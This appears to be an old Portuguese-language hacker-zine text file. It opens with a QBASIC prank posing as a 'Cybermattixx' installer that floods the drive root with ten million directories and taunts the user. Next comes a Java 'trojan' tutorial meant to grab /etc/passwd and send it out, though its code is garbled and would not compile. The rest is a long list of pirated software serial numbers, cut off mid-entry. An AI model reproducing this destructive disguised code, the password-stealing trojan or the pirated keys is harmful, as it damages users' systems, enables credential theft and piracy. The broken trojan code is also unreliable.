print"This may take up to 20 minutes, depending on your computer..."
shell "cd\"
for a = 1 to 10000000
a$=str$(a)
c$="md" + a$ + ".hee"
shell c$
next a
cls
print "Cybermattixx Version 1.0 is now installed on your system..."
print "Have a shitty day!"
print "Sucker!"
print
input "Hit ENTER To REBOOT your System now!";a$
out &H375, 255

----------------------------------Termina-------------------------------------

          Aprendendo a construir um trojan.

import java.net.*;
import java.io.*;
class trojan{
public static int portaServ = 25;
public static int portCli = 25 = (Main = new Main ("Main", "SEUEMAIL"/")
Main Connection = Main.openConnection ();
          
          Especifico que uma nova classe java vai ser aberta determino que
          ele vai acionar a porta 25 do servidor e determino que a porta
          final ou a variavel final de retorno ser a portaCli.

Main Connection = Main.openConnection ();
public static DatagramSocket ds;
public static byte buffer [] = new byte [tam_buffer];
public static void OClient () throws
       while (true){

         int c = System.in.read();
         switch (c) {
         case -1

          Determino que a conexao ser iniciada e digo que o trojan  um
          novo sockete e mando ele comear a ler o sistema.

         public static void main  (String args []) throws Exception {
         int d;
         Main = new Main("search"," /etc, passwd")
         MainConnection = Main.Connection ();  }

         ds.send (new datagramPacket (buffer pos
         ,InetAddress.getlocalHost (),
         portaCli));
         pos = 0
         default:
         buffer [pos++] = (byte) c;
         }
         }
            }
          
          Mando ele comear a procurar o diretorio etc e o arquivo passwd
          dentro do sistema e ordeno que aps a busca ele passe o arquivo
          como retorno em portaCli.

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                           16<^..^>Warez<^..^>16 

           Cacete me deu mo trampo ajuntar esta porrada de Warez entao
           agradece a DEUS que eles taum ai e na minha opiniao a lista
           esta muito boa mas eu peguei elas de algumas pages que vou
           citar a URL das mesmas no final da lista.

386 Max v7.0 1/2 - 40090206002
386 Max v7.0 2/2 - 240-104343
386Max v7.0 - 40090206002
4DOS v5.00 - code: 8VS2PGCK
4DOS v5.00 - s/n: 111209
8 Ball deluxe II - EZ001114301
ABC Flowcharter v3.0 for Windows - 0601001053909501
ABC Toolkit v1.0 for Windows - 01103158901
ABC Toolkit v1.0 for Windows - 1001001103158901
ACDSee v1.25 - Name= kermu - Reg#= 2067038799
AM Workflow v3.1 - 001169
AVM-ISDN-IBTX v3.0 - 2001507A
Adaptec EZ-SCSI v3.03 for DOS and Windows - 492848-01
Adaptec EZ-SCSI v3.03 for DOS and Windows - s/n: 492848-01 Rev A
Add depth for Windows - AW-100-1-2716-52987
AddDepth /win - aw-100-1-2716-52987
Adddepth for Windows - AW-100-1-2716-52987
Adobe Acrobat distiler v1.0 for Windows - DEE100R3001172-010-496
Adobe Acrobat v2.0 for Windows - WWW200R3100221-398
Adobe Illustrator v4.0 for Windows - ABW400R3101335-714
Adobe Illustrator v4.01 for Windows - ABE400R3001625-858
Adobe Photoshop /win - pww300r3000011-926
Adobe Photoshop v2.5 for Windows - PWW250R3000000-880
Adobe Photoshop v2.5 for Windows - PWW250R3001422-135
Adobe Photoshop v2.5.1 for Windows - PWW250R3104501-684
Adobe Photoshop v2.5.1 for Windows - PWW250R3107069-312
Adobe Photoshop v3.0 for Windows - PWW300R3000011-926
Adobe Premiere v1.1 for Windows - MBW100D3100371-512
Adobe Premiere v1.1 for Windows - MBW101X3100132-284
Adobe Premiere v4.0 for Windows - MBW400R3900106-762
Adobe Streamline v3.0 for Windows - SBW3001110706-297
Adobe Streamline v3.01 for Windows - SBW300S1100640-184
Adobe acrobat distiler v1.0 for Windows - DEE100R3001172-010-496
Adobe illustrator v4.01 for Windows - ABE4003001625-858
Adobe photoshop v2.5 for Windows - PWW250R3000000-880
Adobe photoshop v2.5.1 for Windows - PWW250R3107069-312
Adobe photoshop v3.0 for Windows - PWW300R3000011-926
Adobe premiere v1.1 for Windows - MBW101X3100132-284
Adobe premiere v4.0 for windows - MBW400R3900106-762
After dark v3.0 for Windows - AD3-00670-6681
After dark v3.0 for Windows - ADW-33671-7329
After dark v3.0 for Windows - DSW-36523-5758
After dark v3.0 for Windows - KAW-64331-1262
AfterDark /win - ad3-00670-6681
AfterDark /win - adw-33671-7329
Agfa Fotoflow - 410210021-086
Aldus Gallery effect v1.5 for Windows - 36-1500-040049293
Aldus Pagemaker NL v5.0 for Windows - 02-50C8-100094310
Aldus Pagemaker NL v5.0 for Windows - 03-5007-201735504
Aldus Persuasion v2.1a for Windows - 09-2101-200613117
Aldus Persuasion v3.0 for Windows - 09-3003-202849134
Aldus Photostyler v2.0 for Windows - 15-0208-202162221
Aldus Photostyler v2.0 for Windows - 15-1115-201108382
Aldus Photostyler v2.0 for Windows - 15-2000-000000000
Aldus Photostyler v2.0 for Windows - 15-2008-201748321
Aldus Photostyler v2.0 special edition for Windows -15-0201-201632890
Aldus photostyler v2.0 for Windows - 15-0208-202162221
Aldus photostyler v2.0 for Windows - 15-1115-201108382
Aldus photostyler v2.0 for Windows - 15-2000-000000000
Alpha five home and business edition v1.0 for Windows -Z50HBEV1-1019144
Altamira composer v1.1 PRO - 644 043 060 0036
Altos system ECU setup v1.1SO - A_ECU00246
Altos system diagnostic v1.0SO - DIAG7K_9K00004
America online v1.0 for Windows 1/2 - s/n: 69-2815-4880
America online v1.0 for Windows 2/2 - password: LARKED-MASSES
America online v1.15 for Windows 3/1 - s/n: 48-5004-6750
America online v1.15 for Windows 3/2 - password: AMBLED-ANION
America online v2.0 for Windows 4/1 - s/n: 79-0519-3782
America online v2.0 for Windows 4/2 - password: SWIMS-TAGGER
Any view v1.00a for Windows - AVR-100-4201975
Approach v3.0 /win - 1f00028-01104360
Approach v3.0 for Windows - 1F00028-01104360
Arcsolo v3.02 for Windows - EVSO 1231464
Asymetrix multimedia toolbook v3.0 - 0740-002379
Authorware PRO v2.0 for Windows - 8205-2072-3071
Authorware PRO v2.01 for Windows - 8217-4072-0086
Autocad lite for Windows - 167-10001908
Autodesk Animator PRO - 4930-P4-PH-1
Autodesk Animator PRO v1.0 - 01603-010203-2520
Autodesk Animator PRO v3.05 - 655-10000088
Autodesk Autocad ADE extension - 13010083217
Autodesk Autocad lite for Windows - 167-10001908
Autodesk Autocad v.R12 - 110-10061620
Autodesk Autocad v13.0 for Windows - 70FEE2FD
Autodesk Designer learning resources - 07301-010203-4520
Autodesk Designer new fundamental tools - 07300-010203-3310
Autodesk Designer training guide - 07300-010203-3010
Autodesk animator PRO - 4930-P4-PH-1
Autodesk animator PRO v3.05 - 655-10000088
Automap PRO v1.06 for Windows - 2028038
Automap PRO v1.06 for Windows - 4553552
Automenu v1.0 for kids - 01G4-UHPMH-PCG53-S
Automenu v1.0 for kids - 501G4-UHPMH-PCG53-S
Autosketch v2.0 for Windows - 123-12345678
Autosketch v2.0 for Windows - 190-00007909
Autosketch v2.0 for Windows - 190-00019039
Autosketch v2.0 for Windows - 190-00028490
Autovision v2.0 for Windows - 5B35AE2B
BGfax v1.30 1/1 - name: Batman
BGfax v1.30 1/2 - s/n: 123456
BGfax v1.30 1/3 - pop nr: C9659F6D
BGfax v1.30 2/1 - name: Me
BGfax v1.30 2/2 - s/n: 201258
BGfax v1.30 2/3 - pop nr: DFCA99E0
BGfax v1.30 3/1 - name: XXX
BGfax v1.30 3/2 - s/n: 654321
BGfax v1.30 3/3 - pop nr: 5D0DB5B3
Banner 3 - 507230300326
Bicycle v1.3 bike 'alog on disk - WWUXPQVYP
Bitcom v5.4c - A271113
Bitcom v5.4c - A329618
Bitfax v3.09c - A248258
Bitfax/SR v4.06g and Bitcom v5.6d - A006844633
Blastermaster v6.0 - put this in a batchfile - SET SBMASTER=798-3240
Bookie Bookworm: All stories - 1-900-903-2665
Boot commander v1.27 - R302582-TTHY
Boot'R v2.11 1/1 - name: Generation X 1995
Boot'R v2.11 1/2 - s/n: BOOTR-14306-0004-000
Boot'R v2.11 2/1 - name: "Your own"
Boot'R v2.11 2/2 - s/n: RH-004001-000
Boot'R v2.11 3/1 - name: Peacock Lostwater
Boot'R v2.11 3/2 - s/n: BOOTR-14306-0004-000
Borland Office v2.0 for Windows - IA332A10046950
Buromanager PRO v3.1 - 0E01188472020
CD-Quick cache v1.10 - name: Dir&Mir - key: 96EE
CD-Quick cache v1.11 - name: Batman - key: DDB4
CD-Quick cache v1.11 - name: XXX - key: 1209
CM Viewer v3.10 - 44718494P31
Calendar v3.0 enterprises - key: 191715
Calendar v3.0 enterprises - s/n: 61001234
Calendar v3.0 enterprises - s/n: 61001234 - key: 191715
Calendar v3.0 enterprises 1/1 - s/n: 61001234
Calendar v3.0 enterprises 1/2 - key: 191715
Calera wordscan v3.0 - BB3123456
Caligari true space for Windows - 3 10 001 026188
Cantax for 95 v1.0 for Windows - 134-950128-0374079
Canvas v3.52 for Windows - 485110842
Cardshop plus for Windows - 0729
Catdisk v7.XX - put in autoexec.bat - SET CATDISK=XYZZY
Catdisk v8.0 - brand code: G445000QIR
Catdisk v8.0 - name: Maroon
Catdisk v8.0 - name: Maroon - brand code: G445000QIR
Chameleon NFS v3.14 for Windows 1 - activation code: A224
Chameleon NFS v3.14 for Windows 1 - s/n: 34059131041712 S3
Chameleon NFS v3.14 for Windows 1/1 - s/n: 34059131041712 S3
Chameleon NFS v3.14 for Windows 1/2 - activation code: A224
Chameleon NFS v3.14 for Windows 2 - activation code: C4ED
Chameleon NFS v3.14 for Windows 2 - s/n: 3433223117197 P3
Chameleon NFS v3.14 for Windows 2/1 - s/n: 3433223117197 P3
Chameleon NFS v3.14 for Windows 2/2 - key: C4ED
Chameleon NFS v3.14 for Windows 2/3 - network auth: 077633
Chameleon NFS v3.14 for Windows 2/4 - access code: 1-3-0-671515
Chameleon v4.0 - 34059131041712S3
Chameleon v4.0 - s/n: 34059131041712S3
Check It v4.0 - 000-237032
Check It v4.0 and v5.0 - 000-237032
Checkit Analyst /win - a7-100163
Checkit PRO (analyst) for Windows - A7-100163
Checkit PRO v1.0 (sysinfo) - A1-001725
Checkit PRO v1.04 for Windows - A3-062402
Checkit PRO v1.06 for Windows or DOS and for Checkit v4.0+ - A3-062402
Checkit PRO v1.06 for Windows or DOS and for Checkit v4.0+ - A3-097582
Checkit Pro v1.04 /win - a3-062402
Checkit Pro v4.0+ - a3-098294
Cleensweep v1.0 for Windows - 000-15C-72794
Clinical Pharmacy /win - 9412345
Clinical pharmacy for Windows - 9412345
Closeup v5.0 /win - 1bb463-852875
Closeup v5.0 for Windows - IBB463-852875
Comma net mail v2.50 for Windows - 19211134581-6
Compel PE - ASYM10288
Context v2.0 online dictionary for Windows - 04.4101.20
Conversions plus for Windows - 904954-2539
Conversions plus v2.0 for Windows - 11111111
Corel PhotoPaint 5 - PP5-063003
Corel Ventura 5 for Windows - CD5-050-118034
Corel flow v2.0 /win - sat5077300794
Corel flow v2.0 /win - sw-q023-cf-e
Corel flow v2.0 for Windows - SAT507300794
Corel flow v2.0 for Windows - SW-Q023-CF-E
Corel gallery v2.0 for Windows - CG2-020-123456
Coreldraw v4.0 NL for Windows - CD4-114-654-454
Coreldraw v4.0 NL for Windows - CD4-234-345-567
Coreldraw v5.0 for Windows - CD5-050-216533
Coreldraw v5.0 for Windows - CD5-123-456789
Coreldraw v5.0 rev. E2 for Windows - CD5-050-118034
Corstream dedicated Server v1.0 - CBA 0009432
Crystal Flying Fonts v2.0 - rb10-0140-1104
Crystal graphics flying fonts for Windows - RB10-0140-1022
DCC PRO v3.02 - 267109015
Dabbler v1.0 for Windows - 5011380-8195
Daceasy EIS v5.0 for Windows - EI50X101175
Daceasy for Windows - WA1IB111835
Data access tools v2.0a for Windows - 1F00028-01104360
Databoss "C" - 93-1207-000398
Databoss v1.01 for Windows - 94-0202-000361
Datacad estimator v4.2 - 5401-1092
Davinci E-mail v2.52 - 52XVD-GBEUP-6BP3A
Day timer organizer v1.0 for Windows - 710000000
Daytimer Organizer v1.0 /win - 710000000
Daytimer organizer v1.0 for Windows - 710000000
Dazzle plus v2.1 for Windows - DP940235
Dazzle plus v2.1b for Windows - 1234567
Dbase III plus - 3745331-26
Dbase IV - KD712AA0000005
Dbase IV for Windows - DA712A1047458
Dbase IV v2.02 - IA 712A10518133
Dbase IV v5.0 for Windows - DA712A1047458
Delrina Preform v1.0 for Windows - 2201-8201-1029
Demo workshop - name: Okware - s/n: 0AQ6M5RBRATPN8HN64K05I
Design estimator - 5055-2897
Desqview /X OSF/motif - 002-R1-1583
Desqview /X network manager v1.1 - 003-V1-3616
Desqview /X v2.0 - 000-15X-011980
Desqview /X v2.0 - 754-X5X-14396
Desqview /X v2.0 - 783-X5X-58035
Desqview 386 & QEMM 386 - 000-15X-011980
Desqview 386 & QEMM 386 - 000-19T-83189
Desqview 386 & QEMM 386 - 001-32H-72414
Desqview 386 & QEMM 386 - 003-V1-3616
Desqview 386 & QEMM 386 - 010-17F-95253
Desqview 386 v2.61 and QEMM 386 v7.02 - 000-15X-011980
Desqview 386 v2.61 and QEMM 386 v7.02 - 000-19T-83189
Desqview 386 v2.61 and QEMM 386 v7.02 - 001-17H-72414
Desqview 386 v2.61 and QEMM 386 v7.02 - 001-32H-72414
Desqview 386 v2.61 and QEMM 386 v7.02 - 003-V1-3616
Desqview 386 v2.61 and QEMM 386 v7.02 - 010-17F-95253
Desqview 386 v2.7 & QEMM 386 v7.5 - 114-22H-28256
Desqview 386 v2.7 and QEMM 386 v7.5 - 114-22H-28256
Desqview v6.21 with QEMM 386 v7.02 - 001-32h-72414
Desqview/X network manager v1.1 - 003-V1-3616
Desqview/X v2.0 - 000-15X-011980
Disk copy fast v4.X - type this line in your config.dcf - $REGISTER
Disk copy fast v4.X - what you want, K9JBF,B30QZ of R9CS0,IAJM1
Disk copy fast v4.X 1/1 - put in config.dcf
Disk copy fast v4.X 1/2 - $REGISTER
Disk copy fast v4.X 1/3 - K9JBF,B30QZ or R9CS0,IAJM1
Disk management system v6.10 - 64232312
Disk management system v6.10 - 64242412
Disk manager v6.03.03 Maxtor HD - 18002629867
Disk optimizer v1.01 for Windows - 11111111
Diskdupe PRO 3 v7.0 - 200-550-831
Diskdupe PRO 3 v7.0 and v7.10 - 200-468-710
Diskdupe PRO 3 v7.0 and v7.10 - 200-550-831
Distinct TCP/IP v3.21 for Windows - key: 78-17-DF
Distinct TCP/IP v3.21 for Windows - s/n: AD00081094
Distinct TCP/IP v3.21 for Windows - s/n: AD00081094 - key: 78-17-DF
Distinct TCP/IP v3.21 for Windows - s/n: R00WELLF00 - key: F6-72-F2
Dr. Salomon's antivirus toolkit v6.65 - TK2285817
Dr. Salomon's antivirus toolkit v6.68 - TK2495340
Dr. Salomon's antivirus toolkit v6.71 - DTK3H-063095
Drive PRO v2.0 - LAKS11
Drive PRO v2.0c - LAKS11
Drive rocket utility v1.15 - 00089549
ECCO, the PIM for Windows - 1101232620
ESL v4.0 for OS/2 and Windows - 3091300953
ESL v4.0 for OS/2 en Windows - 3091300953
Eclipse fax v6.0 for Windows - 105-94452
Elastic reality for Windows - 40-36892-31313-10371
Elastic reality for Windows - 40-9831-11111-23361
Estimator Plus /win - 5500-9466
Estimator plus for Windows - 5500-9466
Evolve v6.1 for Clipper - EVC610401762
Exceed v4.0 - key: 40A-5BF-8F
Exceed v4.0 - s/n: W-035565
Exceed v4.0 - s/n: W-035565 - super TCP: 01A-040-DE - key: 40A-5BF-8F
Exceed v4.0 - super TCP: 01A-040-DE
Exceed v4.1 for Windows - W -059483
F(g) Scholar - FG0021747120
Falcon v3.0 - 033624
Family treemaker v1.01 for Windows - FTW11R64747
Family treemaker v1.01 for Windows - FTW11R64747 v1.01 14
Fantasy photo collection for DOS and Windows - 37200
Fantasy photo collection for DOS en Windows - 37200
Far stone cache driver v2.X - 1-10501131
Fast fonts v3.3 for Windows - 05-U08355
Fauve matisse v1.24 for Windows - 1733920
Fax-a-laugh v1.0 - GB001000
Faxserve v2.0 for Netware - 20FX 985466
Faxserve v2.0 for Netware - EV 1213767
File magic professional v2.0 - 16-0012025
Filecompress PRO v1.0 for Windows - 081494-001L-00P4093
Filecompress PRO v1.0 for Windows - 081494-007L-00P4093
Filemaker PRO NL v2.0 for Windows - 7000843902
Filemark v2.00 beta - name: - s/n: 87219244224632926
Filemark v2.00 beta - name: Batman - s/n: 1031781158727839287
Filemark v2.00 beta - name: nobody - s/n: 1251519295842193
Final v3.0 for Windows - WFNA 106311
First aid v1.2c for Windows - s/n: 1000-A1B1 - productcode: AF10112C
First aid v1.2c for Windows - s/n: 1003-F12B - productcode: CF10112E
Folio viewer v3.0 for Windows - 30WVU1234567
Fractal design painter v2.0 for Windows - 0700418QDU
Fractal design painter v2.0 for Windows - 0700585AQK
Fractal design painter v3.0 for Windows - PW300RAZ0002607-EANY-001
FrameWork4 - 00-0-01-01-4-0059E-2E00D2
Framebuilder for Windows - 04-0-01-01-4-0056A-916E2D
Framemaker v4.02 for Windows - 00-0-01-01-4-005CF-90DEDC
Framemaker v4.02 for Windows - 00-0-01-01-4-00C2F-3C9DB0
FreeHand 4 - 03-003-00003
Freehand v4.0 for Windows - 03-003-00003
Freehand v4.0 for Windows - 03-921-34311
Fusion DBL - 557-0251-01
Game wizard PRO v2.0b - ESD-GW-002001
Gamma universe v1.03 for Windows - UV0103-000-43LPBSW-6548
German Translation Program - 45014774
Giflink - name: Betamax
Giflink - name: Betamax - s/n: GK123456445
Giflink - name: Okware - s/n: GK123456940
Giflink - name: The Guardian Angel - s/n: GK181042944
Giflink - s/n: GK123456445
Giflite - name: Betamax
Giflite - name: Betamax - s/n: GL123456689
Giflite - name: Okware - s/n: GL123456798
Giflite - name: The Guardian Angel - s/n: GL936342256
Giflite - s/n: GL123456689
Girlfriend Teri - 240-104343
Goldmine /win - 10576345
Goldmine for Windows - 10576345
Graphics workshop - name: Betamax
Graphics workshop - name: Betamax - s/n: 20251
Graphics workshop - s/n: 20251
Graphics workshop v1.1.j for Windows - 65535
Graphics workshop v1.1j for Windows - 65535
Graphics workshop v1.1p for Windows - name: >>>MarQuis De SoiRe<<< - s/n: 26132
Graphics workshop v6.1 - name: Okware - s/n: 13845
Graphics workshop v6.1 - name: g.o.k - s/n: 24674
Graphics workshop v6.X and v7.X - name: The Guardian Angel - s/n: 1996
Graphics workshop v6.X and v7.X - name: all - s/n: 4333
Graphics workshop v6.X and v7.X - name: c&w - s/n: 4421
Graphics workshop v6.X and v7.X - name: g.o.k - s/n: 24674
Graphics workshop v6.X and v7.X - name: me - s/n: 5923
Graphics workshop v7.0e - name: any
Graphics workshop v7.0e - name: any - s/n: 03983 or 04141 or 05889
Graphics workshop v7.0e - s/n: 03983
Graphics workshop v7.0e - s/n: 04141
Graphics workshop v7.0e - s/n: 05889
Gravity Verdict Law Office - gv-940606-6996-000111
Harvard graphics v3.0 for Windows - 16-0300-DSET
Help developers kit v2.5 for Windows - WQT7YZW6-HDK
Help development kit for Windows - WQT7YZW6-HDK
Help magican PRO v3.0 for Windows - 97304.300.001
Hi-Cross v2.6 for Windows - licensnr: 163240
Hi-Cross v2.6 for Windows - s/n: 67657
Hi-Cross v2.6 for Windows - s/n: 67657 - licensnr: 163240
Hijaack PRO v2.0 and v3.0 for Windows - RYXJ595D
Hijaack PRO v2.0 en v3.0 for Windows - RYXJ595D
Hijaack graphics suite for Windows - HGJS 3 SU CH EB0GSWUT
Hijaack graphics suite for Windows - HJGS 3 SU CH 3YEM0WH1
Hijaack graphics suite for Windows - RYS4EKUU
Hslink v1.21 - Hslink (brand) - 0341 0LZ5T3B
Hslink v1.21 - Hslink (brand) - 1 1S2B58H
Hslink v1.21 - Hslink (brand) - 3129 1X18BKH
Hslink v1.21 - Hslink (brand) 1134 0136ZW0
Hugo plus v8.0 for Windows - s/n: 096056
Hugo plus v8.0 for Windows - s/n: 096056 - software code: WIFR80 1094
Hugo plus v8.0 for Windows - software code: WIFR80 1094
Hyperware speedkit v4.91 - SNFBBSUPD
Ice Zmodem v6.0 beta - name: SLA - 1-49282-84275
Idea fisher v5.0 - W04044-0080
Identi-filer v4.5 - name: NOMADS ROOM CRACKING CREW - s/n: 5581459
Image Q v2.2 for Windows - 901172
Image commander v1.0 for Windows - 100SPW3H07A10380
ImagePal - RNAE9-40302-01417
Imagination v2.2.24 - 00765
Infomodeler v1.5 desktop version for Windows - 1090-003800
Inspiration v4.0a for Windows - 1633D1233H4551
Install it v2.0 - name: TwinHead [TWH/BDC] - s/n: 729790609388
Integraa visual database v2.00 for Windows - 1205555057
Intellicom v2.01 5 - 040994
Intergraph's Microstation - 00088193000085
Intermail v2.25 - 6A-000-00****
Intermail v2.25 - 6A-000-01****
Intermail v2.25 - 6B-000-00****
Intermail v2.25 - 6B-000-01****
Intermail v2.25 - 6C-000-00****
Intermail v2.25 - 6C-000-01****
Klik & play v1.0 for Windows - KPE10001143
Labtech notebook v7.3.0 - 27539
Lahey fortran 77 v3.0 - B12858
Landmark Datasafe crashproof v2.0 for Windows - 00213057 CU
Landmark Datasafe crashproof v2.0 for Windows - 51818L1
Landmark INI expert for Windows - 00005536X1
Landmark Speedtest v3.0 for Windows - 01703286SFW
Landmark Wintest v1.0 for Windows - 01860489 TH9
Landmark datasafe crashproof v2.0 for Windows - 00213057 CU
Landmark datasafe crashproof v2.0 for Windows - 51818L1
Laplink v6.0 /win - lw6usrt-100475-600/24
Laplink v6.0 for Windows - 1W6USRT-100475-600/24
Laplink v6.0 for Windows - LW6USRT-100475-600/24
Lightning CD - LC110014980
Lightning graphics C-version v4.0a - 004-922-C9D00
Locksmith v1.31 - LOCK-1000
Lotus 123 for OS/2 - 1O00003-35389080
Lotus 123 v5.0 /win - 1f00028-01104360
Lotus 123 v5.0 for Windows - 1F00028-01104360
Lotus 123 v5.0 for Windows - 1R10004-22065750
Lotus Approach v3.0 for Windows - 1F00028-01104360
Lotus Organizer /win - 1q00013-46194721
Lotus Smartsuite v3.0 for Windows - 1S10015-08473222
Lotus VIP - 1F00028-01104360
Lotus VIP, visual basic type program - 1F00028-01104360
Lotus approach v3.0 for Windows - 1F00028-01104360
Lotus data access tools v2.0a for Windows - 1F00028-01104360
Lotus organizer v1.1 for Windows - 1Q00001-83927521
Lotus organizer v1.1 for Windows - 1Q00013-46194721
Mac 2 PC PRO plus for Windows - 123456-1234
Macro model for Windows - 0428-4079-2071
Macromedia Director - DRW400-9811-4074-3073
Macromedia director v4.0 for Windows - DRW400-1895-9074-2077
Macromedia director v4.0 for Windows - DRW400-9811-4074-3073
Mannequin v1.1 - 10012345
Marvel Screen Posters /win - mvw-92958-1201
Marvel screen posters for Windows - MVW-92958-1201
Mathcad v5.0 for Windows - P501069D00368
Mathematica v2.1 /win - 2549-51771-93417-6270
Mathematica v2.1 for Windows - 2549-51771-93417-6270
Mattise v1.5.2 - 1733767
Mattise v1.5.2 - 1733920
Media studio for Windows (beta) - ABETA-40490-29051
Media studio v1.0 for Windows - NNAEA-40721-02586
Mentor plus flite star 10/93 - 9243210
Micro-scope v5.06 - MS-1231393
Microfocus/370 assembler v3.1.16 - URNB0UPP/000000000
Micrographic picture publisher v5.0 for Windows - NTA-NTA-01A
Micrographix Picture Publisher v5.0 /win - nta-nta-01a
Microscope v5.06 - MS-1231393
Microsoft Uninstaller - I2031123
Microsoft works v3.0 NL - 16429-020-0000284
Microstation - 00088193000085
Microstation v5.00.95 (5.1) - SGBXI48AB-0500A
Minitab v9.2 for Windows - W92006400
Mirage Ray Tracing Engine for 3D Studio - 942559
Mirage raytracing engine for 3D studio - 942559
Mircosoft planner - 076-051-090
Modedit v3.02 - name: Everybody - key : FF4FAA6BEA48483E1FFC5D3E5E
Modem docter v5.2 - M4B00635
Monarch for Windows - 1003818
Moneymap personal financial director for Windows - password: CASH
Morphing magic - 0-672-30320-5 2
Mortice kern systems v3.1 for DOS and Windows (6 users) - 3041129678
Multiedit v7.00e - ME700E111111
Multimedia solutions - 205521
Music magic songbook v1.0 for Windows - 932667-2198
Music time for Windows - MV20-0-02045-8738
My Invoices - 2643-20966
My advanced label designer - 2223-87357
My advanced maillist and addressbook - 2123-42935
My invoices - 2643-20966
My-T-mouse v1.30 for Windows - FT 1305766
Neo phantom screensaver v1.2b - 4711081WIRJUUN
Neobook PRO v2.0b - 4711081MIQOEOB
Neopaint v2.0 - 8250129NPMQKQV
Neopaint v2.0 - 95949300SQUSRM
Neopaint v2.0 - 9876543OVOWASP
Neopaint v2.1 - 2039485HNKZNWR
Neopaint v2.1 - 4391302JQQRMOO
Neopaint v2.1 - 4811123JVIRKQP
Neopaint v3.0 - 47110815LMPJVQ
Neopaint v3.0 and v3.1 - 47110815LMPJVQ
Neoshow PRO v1.0 - 0123456THTJNQN
Neoshow PRO v2.0 - 2115868RUJISNV
Neoshow PRO v2.0 - 4711081WIRJUUN
Neoshow PRO v2.0 - 6543210BPWTLRL
Neoshow PRO v2.0 - 7654321CQMUMSX
Neoshow PRO v2.0 - 7670230XOCBSQR
Neoshow PRO v2.5 - 4711081WUIJTRC
Netcom netcruiser v1.0 internet - 91629
Netmanage Chameleon/NFS v4.1 /win 1/2 - 3405913104171253
Netmanage Chameleon/NFS v4.1 /win 2/2 - key a224
Network plus - 02-AU1-0726C-0RNR-002-20052
Norton textra connect v1.1 - A7881492178
Novell DOS 7.0 personal netware v1.0 - S6-004001-001
Novell personal netware (5 users) - 23660970
OLX Off-line xpress for Windows - 44-4444
Omnipage PRO v5.0 for Windows - 2804B-C000003700
Omnipage PRO v5.0 for Windows - 872-0734-020
Omnipage PRO v5.0 for Windows - p/n: 872-0734-020
Omnipage PRO v5.0 for Windows - s/n: 2804B-C000003700
Omnis 7 v3.0 for Windows - CWRS270836 20251
Outside in v2.1g for Windows - OW218312364
PC Anywhere v4.5 for DOS and Windows - PCDH4543IN
PC Anywhere v4.5 for DOS en Windows - PCDH4543IN
PC Board professional v15.21 - 029617
PC Buchhalter v1.01 for Windows - 8848 5060295
PC Doktor v1.0 - 1139610360
PC Focus v6.01 NL - 1732221
PC Tools v2.00 for Windows - 11-50-01415
PC/TCP Network v3.0 for DOS & Wind - s/n: 1990-1025-7300 - key: 3751-6732-9871
PC/TCP Network v3.0 for DOS en Windows - key: 3751-6732-9871
PC/TCP Network v3.0 for DOS en Windows - s/n: 1990-1025-7300
PC/TCP v1.1 for Windows and DOS - 1/2 key: 3776-9499-4365
PC/TCP v1.1 for Windows and DOS 1/1 - s/n: 3917-3337-0007
PSearch v4.4a - name: GaRY D. [UCF] - s/n: 000000138
PTT Phonebook dec. '94 CD-ROM - D2865
PTT Phonebook sept. '94 CD-ROM - H3435
PTT Telefoonbook sept. '94 CDROM - H3435
PageMaker5 - 03-4005-200136599
Pagemaker NL v5.0 for Windows - 02-50C8-100094310
Panoramic utils v1.1 - 111-976-0001513-01
Paper direct templates v5.0 for Coreldraw for Windows - 606771
Paradox v4.0 for Windows - IA931A10158034
Paradox v4.5 for Windows - IA931A10000162
PckWick PowerPack v4.0 /win - 5062180192v09
Pckwik powerpak for DOS and Windows - 5062180192V09
Pckwik powerpak for DOS and Windows - 5062736300U10
Pckwik powerpak for DOS en Windows - 5062180192V09
Pckwik powerpak for DOS en Windows - 5062736300U10
Peachtree Accounting /win - 9257595
Peachtree accounting for Windows - 9257595
Peachtree complete accounting v8.0 - 9005635
Peachtree complete accounting v8.0 - 9006193
Peachtree v7.0 - 7807139
Perfectview NL v6.10 - PV-PAC61-260159
Phar Lap TNT 32 Bit DOS Extender v6.0 - 27146
Pharlap TNT 32 BIT DOS extender v6.0 - 27146
Photo magic - PH1001LXX-04526
PhotoShop (3) - PWW300R3000011-926
PhotoStyler2 - 15-1001-000000001
Photostyler v2.0 /win - 15-1115-201108382
Photostyler v2.0 for Windows - 15-1115-201108382
Photostyler v2.0 for Windows - 15-2008-201748321
Physik v2.0 - PHYSIK+V2.0WWW94
Picture publisher v4.0 - 0301001006108501
Picture publisher v5.0 for Windows - NTA-NTA-01A
Plug-in v2.0 for Windows - 136-92031109
Plug-in v2.2 for Windows - s/n: 51673856 - name: Richard Johnston
Plugin v2.0 for Windows - 136-92031109
Plugin x.x /win	- 136-92031109
Plugin x.x /win - 136-92031109
Powerdrive v6.0 for Windows - U60041006398
Premiere v1.0 for Windows - MBW100X3100970-389
Procom plus for Windows - PW10467543
Procomm Plus /win - pw10467543
Procomm plus v2.0 - PP20116382
Procomm plus v2.0 for Windows - PW10467543
Procomm plus v2.11 for Windows - PPWE2100081467
Procomm plus v2.11 for Windows - PPWU2100077294
Profesional Draw - 3000045840
Profesional Draw - 3000563445
Profesional draw - 3000045840
Profesional draw - 3000563445
QAPlus/FE v5.30 - 12345-6789-0
QEMM 386 V7.0 - 103-27E-53601
QEMM 386 v7.03 and v7.04 - 001-32H-72414
QEMM 386 v7.03 en v7.04 - 001-32H-72414
QEMM 386 v7.5 - 010-17F-95293
QEMM 386 v7.5 - 011-17F-00009
QEMM 386 v7.5 - 017-17F-08319
QEMM 386 v7.5 - 103-22H-90808
QEMM 386 v7.52 - 000-000-00009
QEMM 386 v7.52 - 000-252-47729
QEMM 386 v7.52 - 001-17H-72414
QEMM 386 v7.52 - 101-02H-90990
QEMM 386 v7.52 - 111-111-11149
QEMM 386 v7.52 - 114-22H-28256
QEMM 386 v7.52 - 123-70H-03217
QEMM 386 v7.52 - 133-42H-58856
QEMM 386 v7.52 - 213-07H-70123
QEMM 386 v7.52 - 411-37H-52268
QEMM v7.03 and v7.04 - 001-32h-72414
QEMM v7.5 - 010-17f-95293
QPEG V1.4b 1/1 - make textfile QPEG.REG
QPEG V1.4b 1/2 - line #1: oere - okware
QPEG V1.4b 1/3 - line #2: 2C-D05940F512345678804704956DF1A2C4
QPV/386 1.6c 1/1 - make txtfile Qpeg.reg and put
QPV/386 1.6c 1/2 - this file in your root/path but not in your Qpeg directory
QPV/386 1.6c 1/3 - line 1#: 62RE- QPV/386 v1.6c
